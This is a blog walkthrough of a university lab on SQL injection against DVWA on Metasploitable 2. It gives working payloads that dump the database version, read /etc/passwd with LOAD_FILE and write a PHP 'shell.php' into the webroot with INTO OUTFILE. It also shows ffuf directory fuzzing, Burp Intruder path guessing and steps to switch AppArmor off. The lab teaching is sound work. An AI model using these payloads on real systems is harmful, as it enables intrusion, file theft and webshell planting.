Site Logo
Niklas Heringer - Cybersecurity Blog
Cover Image

SQLi Hands-On: Injecting Chaos

πŸŽ“ This post is a walkthrough of a real university session on SQL Injection β€” not just theory, but the hands-on chaos we injected into DVWA. Whether you’re a beginner or brushing up, follow along as I break down each step and payload we used, from UNION SELECT to file writes and fuzzing with Burp and ffuf. Get ready to see how deep the rabbit hole goes. Let’s hack smart.

🧭 Introduction and Lab Setup

In this session, i will go on for you about a university class i had today. It was about SQLi injections and later a bit sqlmap. I’ll try to explain it as best as possible.

For the setup of the lab, you can go take a look at an older post where i set it up - there I cover how to spin up Metasploitable 2 with DVWA and get everything talking.

We will be using the DVWA for this, which comes packed in Metasploitable 2.

DVWA’s local IP address for this exercise: 192.168.58.129 - host-only in my network, insert for <DVWA_IP> whatever it is in your network.

πŸ›‘οΈ Additional Steps (disabling AppArmor)

When you logged into your metasploitable with the standard msfadmin/msfadmin, you need to disable AppArmor: AppArmor is a security module that can block file reads β€” even if your SQL injection is syntactically correct. So we need to tell it to chill.

  1. Check AppArmor status: sudo aa-status (look for enforce/complain - you want complain)
  2. Enable complain mode for MySQL server: sudo aa-complain /usr/sbin/mysqld
  3. Verify by connecting to MySQL: mysql -u root -D dvwa
  4. When connected, execute SELECT LOAD_FILE('/etc/motd'); - if this executes without error you are ready to go!

🎯 Let the Injections Begin

Head over to <DVWA_IP>/dvwa/login.php, where you log in with admin|password. Image

Click on “DVWA Security” and choose low! The challenge is good enough right now without making it more difficult :D.

! IMPORTANT! If the security level keeps switching when you head over to another site, it is because the cookie is double-set, e.g. on ‘high’ AND on ‘medium’ - delete the one you want to get rid of.

🎯 Our Challenge Area

At <DVWA_IP>/dvwa/vulnerabilities/sqli/, you are able to search for User ID’s. Here we will beginn our journey.

Feel free to input something, play around a bit, see what happens!

Now let’s try to input 1 as our ID.

Image

This is an extremely important information for us - The response consists of TWO fields, first name, and surname!

Why does that matter, you ask?

Let’s consider what is happening in the background here. Now let’s talk about the query the site is using. You can click on the site to view the code (we don’t need to know how it looks, we already know about it’s return - we just want to better understand what is going on for now).

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

Now, how could we inject SQL code in that? We can’t just run any SELECT statement - the injection must blend into the existing query, and there is already a SELECT. Think of SQL like a spreadsheet β€” you can’t just paste a new table in the middle, you have to add rows with the same number of columns. SQL got you covered: we can use UNION SELECT.


πŸ“˜ Mini SQL Excursus

UNION SELECT combines the results of two SELECT queries into one result set, as long as:

You can read more about UNION SELECT here and even practice a bit.


πŸ’£ Payload Construction

So that means, we want to construct a new query from the old one:

SELECT first_name, last_name FROM users WHERE user_id = '<USER_INPUT>'

We want to end the input with our inject, start a UNION SELECT and there we then need to select 2 (!) fields of matching types to first_name and last_name - otherwise it won’t work out!

How might a payload for that look like? Let’s go with:

1' UNION SELECT VERSION(),'foo' -- -;

This way, the query becomes:

SELECT first_name, last_name FROM users WHERE user_id = '1' UNION SELECT VERSION(),'foo' -- -;

See what we did there? Let me explain: We provide an input so that the field doesn’t remain empty, 1 - then we close the user_id field with a ‘ - afterwards we use UNION SELECT, providing two fields. The trick comes after these two: -- induces an SQL comment, so the command can effectively end there - but commands can not be empty! Therefore, we introduce a space after --, and so that we can see the space with our humanish eyes, we append a -.

Voi la, payload crafted!

Image

As you can see, we’ve got two results - and one contains the output of the VERSION()-command like we intended - BOOM! Injected!


πŸ“‚ Payload for File Read

Now, let’s try to do a file read. This time, our payload is:

1' UNION SELECT LOAD_FILE('/etc/passwd'),NULL -- -

πŸ’‘ Tip: If SELECT LOAD_FILE() gives NULL, AppArmor is probably still enforcing.

Image

Note that this time, the payload’s result is again in the first name field, but Surname is empty as we provided NULL right now - didn’t need that. If that doesn’t work for you, troubleshoot: πŸ’‘ LOAD_FILE() only works if:

  1. The file exists (if you used Metasploitable (or any Linux system for that matter) it does with our exampole)
  2. MySQL has read permissions (again, for Metasploitable it has)
  3. AppArmor is in complain mode
  4. The full path is used (we made sure of that by the leading / in /etc/passwd)

For our upcoming exercises, let’s swap to Burpsuite, so we have an easier time constructing our requests and repeating them.

— UNFINISHED STARTS HERE:

Once you’ve intercepted the request, right-click it and ‘send it to the Repeater where our forging will continue! No request remains unmodified 😈.

In the repeater, our intercepted file read will look something like:

Image

Looks like gibberish, right? That’s just URL encoding β€” your browser’s way of smuggling special characters safely through the HTTP gates.

🌐 Mini Excursus: URL Encoding

URL encoding is how our browser understands special characters in URLs without breaking stuff.

Examples:

Use it when you:

πŸ’‘ TL;DR: If it’s not A-Z or 0-9, encode it or expect chaos. If you mark the text, burp whill show you on the left what it looks like encoded or decoded (you can also right-click and choose URL-encode as you type).

Image

Now, let’s fuzz to discover the webroot! (What?)

πŸ•΅οΈβ€β™‚οΈ Fuzzing to Discover the Webroot

The webroot is the base directory on a server where the website’s files live - kind of like the linux /home or any.. equivalent on your local work station which is the stem for your work lol. If you’re new to fuzzing (sending tons of slightly different requests to discover hidden stuff), check out this quick intro β€” and keep an eye on my Ko-fi and this site for more posts, elite cheatsheets, and hacking goodies!

ffuf -u http://192.168.58.129/FUZZ -w /usr/share/wordlists/dirb/common.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.58.129/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.hta                    [Status: 403, Size: 291, Words: 22, Lines: 11, Duration: 16ms]
                        [Status: 200, Size: 891, Words: 237, Lines: 30, Duration: 18ms]
.htaccess               [Status: 403, Size: 296, Words: 22, Lines: 11, Duration: 227ms]
cgi-bin/                [Status: 403, Size: 295, Words: 22, Lines: 11, Duration: 3ms]
.htpasswd               [Status: 403, Size: 296, Words: 22, Lines: 11, Duration: 426ms]
dav                     [Status: 301, Size: 319, Words: 21, Lines: 10, Duration: 1ms]
index.php               [Status: 200, Size: 891, Words: 237, Lines: 30, Duration: 16ms]
index                   [Status: 200, Size: 891, Words: 237, Lines: 30, Duration: 18ms]
phpMyAdmin              [Status: 301, Size: 326, Words: 21, Lines: 10, Duration: 3ms]
phpinfo.php             [Status: 200, Size: 48071, Words: 2409, Lines: 657, Duration: 43ms]
phpinfo                 [Status: 200, Size: 48059, Words: 2409, Lines: 657, Duration: 40ms]
test                    [Status: 301, Size: 320, Words: 21, Lines: 10, Duration: 4ms]
twiki                   [Status: 301, Size: 321, Words: 21, Lines: 10, Duration: 2ms]
server-status           [Status: 403, Size: 300, Words: 22, Lines: 11, Duration: 9994ms]
:: Progress: [4614/4614] :: Job [1/1] :: 20 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

“NIKLAS! WHAT ARE WE DOING THIS FOR? I need context, why am i seeing different folders, why are we scanning the website?”

Let me explain, we are off to our next Section:

πŸš€ From File Read to File Write

We want to achieve writing (and creating) files on the server. But: You can only write to directories MySQL has write access to, and that usually means:

So we have to find out where the webroot is, and then write to it! But how do we differentiate what isn’t the webroot?

β˜• Like this breakdown?

If this helped you, or if you just enjoy well-documented CTF journeys, consider supporting me.

Image

πŸ›  Every coffee helps fuel more content like this β€” cheatsheets, walkthroughs, and more hacker-fueled documentation.

πŸ”— Visit: ko-fi.com/niklasheringer

File Write Payload

1' UNION SELECT "<?php echo 'owned'; ?>", NULL INTO OUTFILE '<TARGET_FOLDER>/shell.php' -- -

This simple payload will tell us exactly when we have a hit, as a wrong path, like to /dvwa/.. will result in:

1' UNION SELECT "<?php echo 'owned'; ?>", NULL INTO OUTFILE '/var/www/dvwa/shell.php' -- -

# Output:
Can't create/write to file '/var/www/dvwa/shell.php' (Errcode: 13)

Let us swap over to Burp and check for the found folders! Remember URL-Encoding, you don’t need to do it by hand, just select and use the edit field (works both ways):

Image

Once you’ve recreated this one now, right-click on the request and send it to the Intruder!

πŸ’‘Tip: select dvwa (the payload we will swap out as it is the wrong folder (shown above, remember?)) and then send to Intruder - it will auto-mark that as the interchangeable payload field.

Image

See how it is already embedded by Β§-signs? Let’s do this!

Look in the payloads tab: ‘Enter a new item’ and then ‘Add’ it to the payloads list.

Image Notice how the first payload is empty - /var/www could aswell be the webroot..

Image Better REMOVE the / character from Payload encoding - it is about directories in the end, even if we now don’t have double paths like /dav/xyz as candidates, your payloads could still contain them in the future.

Image One of the result looks.. SIGNIFICANTLY more promising - can you see which?

All response lengths are below 500 - except /dav - which is over 5000! And as we can see in the responses:

Others than /dav

Can't create/write to file '/var/www/phpMyAdmin/shell.php' (Errcode: 13)

Image Here, we only get Warnings, not errors! BOOM, we made it!

Image AWESOME! We see our payload’s there!

βœ… Conclusion and What Comes Next

We’ve accomplished a lot in this one! File Write AND Read via SQL Injection, awesome hehe. In the follow-up part of this, we will play around with Shells a bit, stay tuned for it - important learnings ahead!